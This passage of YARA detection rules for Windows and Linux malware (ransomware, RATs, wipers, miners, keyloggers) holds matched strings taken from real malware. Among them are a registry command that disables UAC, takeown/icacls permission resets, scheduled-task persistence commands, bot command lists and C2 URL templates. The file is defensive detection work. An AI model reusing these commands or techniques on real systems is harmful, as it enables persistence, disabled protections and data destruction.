		uint16( 0 ) == 0x5a4d and filesize < 4KB and 1 of ( $s* ) and all of ( $o* )
}

rule DITEKSHEN_MALWARE_Win_Shellcodedlei : FILE
{
	meta:
		description = "Detects shellcode downloader, executer, injector"
		author = "ditekSHen"
		id = "62a4f141-87f8-596a-adf6-5bf9a50c9e91"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7287-L7304"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "064c17427ae6b33ffb09a14abcb924d20ead44250e8bd03070bf40869f1c812e"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "PPidSpoof" fullword ascii
		$s2 = "ProcHollowing" fullword ascii
		$s3 = "CreateProcess" fullword ascii
		$s4 = "DynamicCodeInject" fullword ascii
		$s5 = "PPIDDynCodeInject" fullword ascii
		$s6 = "MapAndStart" fullword ascii
		$s7 = "PPIDAPCInject" fullword ascii
		$s8 = "PPIDDLLInject" fullword ascii
		$s9 = "CopyShellcode" fullword ascii
		$s10 = "GetEntryFromBuffer" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 5 of ( $s* )
}

rule DITEKSHEN_MALWARE_Win_Unkcobaltstrike : FILE
{
	meta:
		description = "Detects unknown malware, potentially CobaltStrike related"
		author = "ditekSHen"
		id = "24ddccc7-3700-57a1-999c-ddefae6911bb"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7335-L7354"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "2fb4e87eec3b56773b812ce6a5c28143183087e0f93d92d76c1103563f8e0891"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "https://%hu.%hu.%hu.%hu:%u" ascii wide
		$s2 = "https://microsoft.com/telemetry/update.exe" ascii wide
		$s3 = "\\System32\\rundll32.exe" ascii wide
		$s4 = "api.opennicproject.org" ascii wide
		$s5 = "%s %s,%s %u" ascii wide
		$s6 = "User32.d?" ascii wide
		$s7 = "StrDupA" fullword ascii wide
		$s8 = "{6d4feed8-18fd-43eb-b5c4-696ad06fac1e}" ascii wide
		$s9 = "{ac41592a-3d21-46b7-8f21-24de30531656}" ascii wide
		$s10 = "bd526:3b.4e32.57c8.9g32.35ef41642767~" ascii wide
		$s11 = { 4b d3 91 49 a1 80 91 42 83 b6 33 28 36 6b 90 97 }
		$s12 = { 0d 4c e3 5c c9 0d 1f 4c 89 7c da a1 b7 8c ee 7c }
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Breakwin : FILE
{
	meta:
		description = "Detects BreakWin Wiper"
		author = "ditekSHen"
		id = "4ffadbfa-c1cc-59e6-a9ba-7a34eca6c3fe"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7453-L7471"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "86fc89e28fc107c2d4fe98dc16048d9e076b1fef53a3df0814f80a88bbe09c48"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Started wiping file %s with %s." fullword wide
		$s2 = "C:\\Program Files\\Lock My PC" wide
		$s3 = "Stardust is still alive." fullword wide
		$s4 = "Failed to terminate the locker process." fullword wide
		$s5 = "C:\\Windows\\System32\\cmd.exe" fullword wide
		$s6 = "Process created successfully. Executed command: %s." fullword wide
		$s7 = "locker_background_image_path" fullword ascii
		$s8 = "takeown.exe /F \"C:\\Windows\\Web\\Screen\" /R /A /D Y" fullword ascii
		$s9 = "icacls.exe \"C:\\Windows\\Web\\Screen\" /reset /T" fullword ascii
		$s10 = "takeown.exe /F \"C:\\ProgramData\\Microsoft\\Windows\\SystemData\" /R /A /D Y" fullword ascii
		$s11 = ".?AVProcessSnapshotCreationFailedException@@" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Coinminer03 : FILE
{
	meta:
		description = "Detects coinmining malware"
		author = "ditekSHen"
		id = "e0e57557-7c46-5336-b904-c4c1f142bd81"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7506-L7528"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f22e1af955a0d132dda820fe5e5e1ae2f077b7264ce1f0125a2f37c0da6b6508"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "UnVzc2lhbiBTdGFuZGFyZCBUaW1l" wide
		$s2 = "/xmrig" wide
		$s3 = "/gminer" wide
		$s4 = "-o {0} -u {1} -p {2} -k --cpu-priority 0 --threads={3}" wide
		$s5 = "--algo ethash --server" wide
		$s6 = "--algo kawpow --server" wide
		$cnc1 = "/delonl.php?hwid=" fullword wide
		$cnc2 = "/gateonl.php?hwid=" fullword wide
		$cnc3 = "&cpuname=" fullword wide
		$cnc4 = "&gpuname=" fullword wide
		$cnc5 = "{0}/gate.php?hwid={1}&os={2}&cpu={3}&gpu={4}&dateinstall={5}&gpumem={6}" fullword wide
		$cnc6 = "/del.php?hwid=" fullword wide
		$f1 = "<StartGpuethGminer>b__" ascii
		$f2 = "<StartGpuetcGminer>b__" ascii
		$f3 = "<StartGpurvnGminer>b__" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $cnc* ) or ( 2 of ( $f* ) and ( 1 of ( $s* ) or 1 of ( $f* ) ) ) or all of ( $f* ) or 5 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Zeppelin : FILE
{
	meta:
		description = "Detects Zeppelin (Delphi) ransomware"
		author = "ditekSHen"
		id = "368d0c31-745d-50ad-a265-50561fdc822a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7530-L7545"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f6c8420756b562662985dd26eaad58500a24cae786a47b788c953e86276116a1"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "TUnlockAndEncrypt" ascii
		$s2 = "TExcludeFiles" ascii
		$s3 = "TExcludeFolders" ascii
		$s4 = "TDrivesAndShares" ascii
		$s5 = "TTaskKiller" ascii
		$x1 = "!!! D !!!" ascii
		$x2 = "!!! LOCALPUBKEY !!!" ascii
		$x3 = "!!! ENCLOCALPRIVKEY !!!" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or all of ( $x* ) or ( 2 of ( $x* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Slackbot : FILE
{
	meta:
		description = "Detects SlackBot"
		author = "ditekSHen"
		id = "cd540aa2-dc8f-5ccc-b66c-a8d72b73c896"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7547-L7588"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "919839883c437b69cf7f380830f2499be24415f96f1e42424e4859114f958581"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$x1 = "lp0o4bot v" ascii
		$x2 = "slackbot " ascii
		$s1 = "cpu: %lumhz %s, uptime: %u+%.2u:%.2u, os: %s" fullword ascii
		$s2 = "%s, running for %u+%.2u:%.2u" fullword ascii
		$s3 = "PONG :%s" fullword ascii
		$s4 = "PRIVMSG %s :%s" fullword ascii
		$s5 = "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" fullword ascii
		$m1 = "saving %s to %s" ascii
		$m2 = "visit number %u failed" ascii
		$m3 = "sending %s packets of %s bytes to %s with a delay of %s" ascii
		$m4 = "file executed" ascii
		$m5 = "packets sent" ascii
		$m6 = "upgrading to %s" ascii
		$m7 = "rebooting..." ascii
		$c1 = "!@remove" fullword ascii
		$c2 = "!@restart" fullword ascii
		$c3 = "!@reboot" fullword ascii
		$c4 = "!@rndnick" fullword ascii
		$c5 = "!@exit" fullword ascii
		$c6 = "!@sysinfo" fullword ascii
		$c7 = "!@upgrade" fullword ascii
		$c8 = "!@login" fullword ascii
		$c9 = "!@run" fullword ascii
		$c10 = "!@webdl" fullword ascii
		$c11 = "!@cycle" fullword ascii
		$c12 = "!@clone" fullword ascii
		$c13 = "!@visit" fullword ascii
		$c14 = "!@udp" fullword ascii
		$c15 = "!@nick" fullword ascii
		$c16 = "!@say" fullword ascii
		$c17 = "!@quit" fullword ascii
		$c18 = "!@part" fullword ascii
		$c19 = "!@join" fullword ascii
		$c20 = "!@raw" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or all of ( $s* ) or all of ( $m* ) or ( 10 of ( $c* ) and ( 1 of ( $x* ) or 3 of ( $s* ) or 2 of ( $m* ) ) ) )
}

rule DITEKSHEN_MALWARE_Win_Sweetystealer : FILE
{
	meta:
		description = "Detects SweetyStealer"
		author = "ditekSHen"
		id = "21dd1706-2cb5-5b27-ad3a-c3de8e6fb333"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7590-L7608"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ecf22240b47af077055260faba0406721f1b4cc5ed04180285df0de86c4e1241"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "SWEETY STEALER" wide
		$s2 = "\\SWEETYLOG.zip" fullword wide
		$s3 = "\\SWEETY STEALER\\SWEETY\\" ascii
		$s4 = "\\Sweety" fullword wide
		$s5 = "SWEETYSTEALER." ascii
		$s6 = "in Virtual Environment, so we prevented stealing" wide
		$s7 = ":purple_square:" wide
		$f1 = "<GetDomainDetect>b__" ascii
		$f2 = "<GetAllProfiles>b__" ascii
		$f3 = "<ProcessExtraFieldZip64>b__" ascii
		$f4 = "<PostExtractCommandLine>k__" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 3 of ( $s* ) or ( 3 of ( $f* ) and 1 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Genircbot : FILE
{
	meta:
		description = "Detects generic IRCBots"
		author = "ditekSHen"
		id = "e1faa1dd-bbf5-5208-97d6-a6e8597d39bc"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7610-L7626"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "cc7f4599148c45fdf755c07530ae4846b7e283b5c1001c121f9ea05279997dc1"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "@login" ascii nocase
		$s2 = "PRIVMSG" fullword ascii
		$s3 = "JOIN" fullword ascii
		$s4 = "PING :" fullword ascii
		$s5 = "NICK" fullword ascii
		$s6 = "USER" fullword ascii
		$x1 = "irc.danger.net" fullword ascii nocase
		$x2 = "evilBot" fullword ascii nocase
		$x3 = "#evilChannel" fullword ascii nocase
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or 2 of ( $x* ) )
}

rule DITEKSHEN_MALWARE_Win_Nanocore : FILE
{
	meta:
		description = "Detects NanoCore"
		author = "ditekSHen"
		id = "931b98f6-df2b-538b-bc49-ecbbd24334da"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7654-L7681"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "6336260e0af2b4b51338ee066f41b7c58aa134a6c03ca110db7e088edf2b65a7"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "NanoCore Client" fullword ascii
		$x2 = "NanoCore.ClientPlugin" fullword ascii
		$x3 = "NanoCore.ClientPluginHost" fullword ascii
		$i1 = "IClientApp" fullword ascii
		$i2 = "IClientData" fullword ascii
		$i3 = "IClientNetwork" fullword ascii
		$i4 = "IClientAppHost" fullword ascii
		$i5 = "IClientDataHost" fullword ascii
		$i6 = "IClientLoggingHost" fullword ascii
		$i7 = "IClientNetworkHost" fullword ascii
		$i8 = "IClientUIHost" fullword ascii
		$i9 = "IClientNameObjectCollection" fullword ascii
		$i10 = "IClientReadOnlyNameObjectCollection" fullword ascii
		$s1 = "ClientPlugin" fullword ascii
		$s2 = "EndPoint" fullword ascii
		$s3 = "IPAddress" fullword ascii
		$s4 = "IPEndPoint" fullword ascii
		$s5 = "IPHostEntr" fullword ascii
		$s6 = "get_ClientSettings" fullword ascii
		$s7 = "get_Connected" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or 8 of ( $i* ) or all of ( $s* ) or ( 1 of ( $x* ) and ( 3 of ( $i* ) or 2 of ( $s* ) ) ) )
}

rule DITEKSHEN_MALWARE_Win_Neshta : FILE
{
	meta:
		description = "Detects Neshta"
		author = "ditekSHen"
		id = "b96ee19e-b631-57fd-bf8a-67d790202c46"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7711-L7720"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "7967c1154f652e28e541058a7b7f61aa077cfaf6be58282e1de68d9a6088c1ac"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus." fullword ascii
		$s2 = "! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Linux_Hellokitty : FILE
{
	meta:
		description = "Detects Linux version of HelloKitty ransomware"
		author = "ditekSHen"
		id = "bb228937-8cd8-5fb8-aaed-3bd539ae96f2"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7722-L7746"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "bcb1188d616b29fa535e757a37476435a3061d27e143339413f6829876701868"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "exec_pipe:%s" ascii
		$s2 = "Error InitAPI !!!" fullword ascii
		$s3 = "No Files Found !!!" fullword ascii
		$s4 = "Error open log File:%s" fullword ascii
		$s5 = "%ld - Files Found  " fullword ascii
		$s6 = "Total VM run on host:" fullword ascii
		$s7 = "error:%d open:%s" fullword ascii
		$s8 = "work.log" fullword ascii
		$s9 = "esxcli vm process kill" ascii
		$s10 = "readdir64" fullword ascii
		$s11 = "%s_%d.block" fullword ascii
		$s12 = "EVP_EncryptFinal_ex" fullword ascii
		$s13 = ".README_TO_RESTORE" fullword ascii
		$m1 = "COMPROMISED AND YOUR SENSITIVE PRIVATE INFORMATION WAS STOLEN" ascii nocase
		$m2 = "damage them without special software" ascii nocase
		$m3 = "leaking or being sold" ascii nocase
		$m4 = "Data will be Published and/or Sold" ascii nocase
	condition:
		uint16( 0 ) == 0x457f and ( 6 of ( $s* ) or ( 2 of ( $m* ) and 2 of ( $s* ) ) or 8 of them )
}

rule DITEKSHEN_MALWARE_Win_Blackmatter : FILE
{
	meta:
		description = "Detects BlackMatter ransomware"
		author = "ditekSHen"
		id = "8883e652-edab-5cbf-a4fa-963b437447d9"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7748-L7767"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4558002b424f7102f67fc44dfc37ac20f6013e25ae827c6aee0fc37231e2fa72"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "C:\\Windows\\System32\\*.drv" fullword wide
		$s2 = "NYbr-Vk@" fullword ascii
		$s3 = ":7:=:H:Q:W:\\:b:&;O;^;v;" fullword ascii
		$o1 = { b0 34 aa fe c0 e2 fb b9 03 }
		$o2 = { fe 00 ff 75 08 ff 75 0c ff b5 d8 fe ff ff ff b5 }
		$o3 = { 6a 00 ff 75 0c ff b5 d8 fe ff ff ff b5 dc fe ff }
		$o4 = { ff 75 08 ff 75 0c ff b5 d8 fe ff ff ff b5 dc fe }
		$o5 = { 53 56 57 8d 85 70 ff ff ff 83 c0 0f 83 e0 f0 89 }
		$o6 = { c7 85 68 ff ff ff 00 04 00 00 8b 85 6c ff ff ff }
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) and all of ( $o* ) )
}

rule DITEKSHEN_MALWARE_Win_Dlinjector04 : FILE
{
	meta:
		description = "Detects downloader / injector"
		author = "ditekSHen"
		id = "fe423aee-6ff4-5fd0-9fa2-51dd0c27f54b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7769-L7790"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ab9a047e53dec2cc5986522636783b5cb8aae7fc0297292d017ec22ee5750cce"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Runner" fullword ascii
		$s2 = "DownloadPayload" fullword ascii
		$s3 = "RunOnStartup" fullword ascii
		$a1 = "Antis" fullword ascii
		$a2 = "antiVM" fullword ascii
		$a3 = "antiSandbox" fullword ascii
		$a4 = "antiDebug" fullword ascii
		$a5 = "antiEmulator" fullword ascii
		$a6 = "enablePersistence" fullword ascii
		$a7 = "enableFakeError" fullword ascii
		$a8 = "DetectVirtualMachine" fullword ascii
		$a9 = "DetectSandboxie" fullword ascii
		$a10 = "DetectDebugger" fullword ascii
		$a11 = "CheckEmulator" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) and 5 of ( $a* ) ) or 10 of ( $a* ) )
}

rule DITEKSHEN_MALWARE_Win_Macoute : FILE
{
	meta:
		description = "Detects Macoute"
		author = "ditekSHen"
		id = "0ecfb923-2e51-544e-984d-efdeeb175727"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7814-L7836"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1dffa48fe6c0ac053509b5f5994d323fd72d090da0f077b52c9bc33df6997964"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "scp%s%s%s%s" ascii
		$s2 = "putfile %s %s" ascii
		$s3 = "pscp|%s|%s:%s" ascii
		$s4 = "connect %host %port\\n" ascii
		$s5 = "/ecoute/spool/%s-%lu" ascii
		$s6 = "<f n=\"%s\" s=\"%lu\" d=\"%d-%d-%d\"/>" ascii
		$s7 = "CMPT;%s;%s;%s;%s;%s" ascii
		$s8 = "%s\\apoScreen%lu.dll" ascii
		$s9 = "/cap/%s%lu.jpg" ascii
		$s10 = "INFO;%u;%u;%u;%d;%d;%d;%d;%d;%d;%d;%s" ascii
		$s11 = "SUBJECT: %s is comming!" ascii
		$s12 = "Content-type: multipart/mixed; boundary=\"#BOUNDARY#\"" ascii
		$s13 = "FROM: %s@yahoo.com" ascii
		$s14 = "<html><script language=\"JavaScript\">window.open(\"readme.eml\", null,\"resizable=no,top=6000,left=6000\")</script></html>" ascii
		$s15 = "<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 10 of them
}

rule DITEKSHEN_MALWARE_Win_Coinminer04 : FILE
{
	meta:
		description = "Detects coinmining malware"
		author = "ditekSHen"
		id = "d90d8ad3-20b7-5bb4-8c58-3488c60ed9a2"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7838-L7858"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "2ef60dbf0bac3d5910635bb011a45e5ebc1392094b10425604fa9dd290198f8b"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "createDll" fullword ascii
		$s2 = "getTasks" fullword ascii
		$s3 = "SetStartup" fullword ascii
		$s4 = "loadUrl" fullword ascii
		$s5 = "Processer" fullword ascii
		$s6 = "checkProcess" fullword ascii
		$s7 = "runProcess" fullword ascii
		$s8 = "createDir" fullword ascii
		$cnc1 = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0" fullword wide
		$cnc2 = "?hwid=" fullword wide
		$cnc3 = "?timeout=1" fullword wide
		$cnc4 = "&completed=" fullword wide
		$cnc5 = "/cmd.php" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) and 1 of ( $cnc* ) )
}

rule DITEKSHEN_MALWARE_Win_Vanillarat : FILE
{
	meta:
		description = "Detects VanillaRAT"
		author = "ditekSHen"
		id = "70c2cd1a-a6d4-562e-a6fc-c16a9e87c6b7"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7882-L7902"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d7b90ac88a50693ec4bb0676c04f5d161f04f67970ea60d80e79d774da75bfdc"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$stub = "VanillaStub." ascii wide
		$s1 = "Client.Send: " wide
		$s2 = "Connected to chat" fullword wide
		$s3 = "GetStoredPasswords" fullword wide
		$s4 = "Started screen locker." fullword wide
		$s5 = "[<\\MOUSE>]" fullword wide
		$s6 = "YOUR SCREEN HAS BEEN LOCKED!" fullword wide
		$s7 = "record recsound" fullword wide
		$f1 = "<StartRemoteDestkop>d__" ascii
		$f2 = "<ConnectLoop>d__" ascii
		$f3 = "<Scan0>k__" ascii
		$f4 = "<RemoteShellActive>k__" ascii
		$f5 = "KillClient" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( $stub and ( 2 of ( $s* ) or 2 of ( $f* ) ) ) or 6 of ( $s* ) or all of ( $f* ) )
}

rule DITEKSHEN_MALWARE_Win_Sectoprat : FILE
{
	meta:
		description = "Detects SectopRAT"
		author = "ditekSHen"
		id = "d6594834-24d7-5e86-84b5-5a7920e7bc89"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7904-L7929"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b4048f837c02560a8b650247173be25893b466e5cec8f2784eea58172f973822"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\\\.\\root\\cimv2:Win32_Process" wide
		$s2 = "\\\\.\\root\\cimv2:CIM_DataFile.Name=" wide
		$s3 = "^.*(?=Windows)" fullword wide
		$s4 = "C:\\Windows\\System32\\cmd.exe" wide
		$s5 = "C:\\Windows\\explorer.exe" wide
		$s6 = "Disabling IE protection" wide
		$s7 = "stream started succces" wide
		$b1 = "/C start Firefox" wide
		$b2 = "/C start chrome" wide
		$b3 = "/C start iexplore" wide
		$m1 = "DefWindowProc" fullword ascii
		$m2 = "AuthStream" fullword ascii
		$m3 = "KillBrowsers" fullword ascii
		$m4 = "GetAllNetworkInterfaces" fullword ascii
		$m5 = "EnumDisplayDevices" fullword ascii
		$m6 = "RemoteClient.Packets" fullword ascii
		$m7 = "IServerPacket" fullword ascii
		$m8 = "keybd_event" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 5 of ( $s* ) and 2 of ( $b* ) ) or all of ( $s* ) or ( all of ( $b* ) and ( 4 of ( $s* ) or 5 of ( $m* ) ) ) )
}

rule DITEKSHEN_MALWARE_Win_Neptune : FILE
{
	meta:
		description = "Detects Neptune keylogger / infostealer"
		author = "ditekSHen"
		id = "0f619bea-f00b-5078-95a4-83306e3e87b4"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7931-L7953"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e3298bf55f89180ed7e9f7ad35b59d39284a5143fd69fa2a4fbc27d91fb2fbd3"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "your keylogger has been freshly installed on" wide
		$x2 = "Attached is a screenshot of the victim" wide
		$x3 = "color: rgb(2, 84, 138);'>Project Neptune</span><br>" wide
		$x4 = ">{Monitor Everything}</span><br><br>" wide
		$x5 = "[First Run] Neptune" wide
		$x6 = "Neptune - " wide
		$s1 = "Melt" fullword wide
		$s2 = "Hide" fullword wide
		$s3 = "SDDate+" fullword wide
		$s4 = "DelOff+" fullword wide
		$s5 = "MsgFalse+" fullword wide
		$s6 = "Clipboard:" fullword wide
		$s7 = "information is valid and working!" wide
		$s8 = ".exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f" wide
		$s9 = "http://www.exampleserver.com/directfile.exe" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or 7 of ( $s* ) or ( 1 of ( $x* ) and 5 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Tomiris : FILE
{
	meta:
		description = "Detects Tomiris"
		author = "ditekSHen"
		id = "86efd4fb-3c76-504e-b367-132aee59e09a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7955-L7978"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1d9baeb6db2e849dd053c3fc735984e23b9cead39cf166f8a544ee5a439185d1"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$f1 = "main.workPath" ascii
		$f2 = "main.selfName" ascii
		$f3 = "main.infoServerAddr" ascii
		$f4 = "main.configFileName" ascii
		$s1 = "C:/Projects/go/src/Tomiris/main.go" ascii
		$s2 = "C:/GO/go1.16.2/src/os/user/lookup_windows.go" ascii
		$s3 = "C:\\GO\\go1.16.2" ascii
		$s4 = ".html.jpeg.json.wasm.webp/p/gf/p/kk1562515" ascii
		$s5 = "\" /ST 10:00alarm clockassistQueueavx512vbmi2avx512vnniwbad" ascii
		$s6 = "write /TR \" Value addr= alloc base  code= ctxt: curg= free  goid  jobs= list= m->p=" ascii
		$t1 = "SCHTASKS /DELETE /F /TN \"%s\"" ascii
		$t2 = "SCHTASKS /CREATE /SC DAILY /TN" ascii
		$t3 = "SCHTASKS /CREATE /SC ONCE /TN \"%s\" /TR \"%s\" /ST %s" ascii
		$t4 = "SCHTASKS /CREATE /SC ONCE /TN \"%s\" /TR \"'%s' %s\" /ST %s" ascii
		$r1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones" ascii
		$r2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" ascii
	condition:
